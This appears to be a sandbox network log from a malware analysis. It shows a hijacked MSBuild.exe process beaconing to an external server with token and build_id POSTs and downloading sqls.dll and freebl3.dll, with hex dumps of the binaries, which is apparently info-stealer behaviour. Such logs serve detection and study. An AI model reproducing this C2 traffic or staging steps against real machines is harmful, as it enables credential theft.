2024-05-24 08:27:10 UTC	6381	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------DGCAAFBFBKFIDGDHJDBKCont
2024-05-24 08:27:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:10 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:11 UTC	194	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:11 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:11 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 19 May 2024 16:18:18 GMT Connection: close ETag: "664a264a-258600" Accept-Ranges: bytes
2024-05-24 08:27:11 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-05-24 08:27:11 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-05-24 08:27:11 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-05-24 08:27:11 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-05-24 08:27:11 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-05-24 08:27:11 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-05-24 08:27:11 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-05-24 08:27:12 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-05-24 08:27:12 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-05-24 08:27:12 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:14 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:14 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------ECGIIIDAKJDHJKFHIEBFCont
2024-05-24 08:27:15 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:15 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:16 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:16 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------HIDHDGDHJEGHIDGDHCGCCont
2024-05-24 08:27:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:16 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49753	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:16 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:16 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------HDAAAAFIIJDBGDGCGDAKCont
2024-05-24 08:27:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:17 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:17 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:17 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------FIJECAEHJJJKJKFIDGCBCont
2024-05-24 08:27:18 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:18 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49756	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:18 UTC	173	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 08:27:19 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:19 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-a7550" Accept-Ranges: bytes
2024-05-24 08:27:19 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-05-24 08:27:19 UTC	16384	IN	Data Raw: 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 01 89 5d 9c 8b 45 b8 03 85 30 ff ff ff 8b Data Ascii: }1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x]E0
